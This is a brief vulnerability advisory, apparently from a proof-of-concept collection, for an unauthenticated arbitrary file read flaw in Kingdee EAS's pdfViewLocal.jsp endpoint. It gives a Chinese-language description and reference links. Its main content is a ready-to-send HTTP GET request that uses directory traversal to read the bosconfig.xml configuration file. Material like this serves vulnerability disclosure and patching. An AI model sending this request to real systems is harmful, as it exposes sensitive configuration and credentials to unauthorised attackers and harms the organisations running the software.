Description
金蝶EAS 为集团型企业提供功能全面、性能稳定、扩展性强的数字化平台.金蝶EAS /easweb/cp/dm/pdfViewLocal.jsp 接口存在任意文件读取漏洞，未经授权的攻击者通过该漏洞读取任意文件，获取系统敏感信息。
金蝶 EAS /easweb/cp/dm/pdfViewLocal.jsp 文件读取漏洞
PoC
GET /easweb/cp/dm/pdfViewLocal.jsp?path=../config/bosconfig.xml HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://github.com/zan8in/pocwiki/blob/main/%E9%87%91%E8%9D%B6EAS_pdfviewlocal%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
https://blog.csdn.net/qq_36618918/article/details/135458108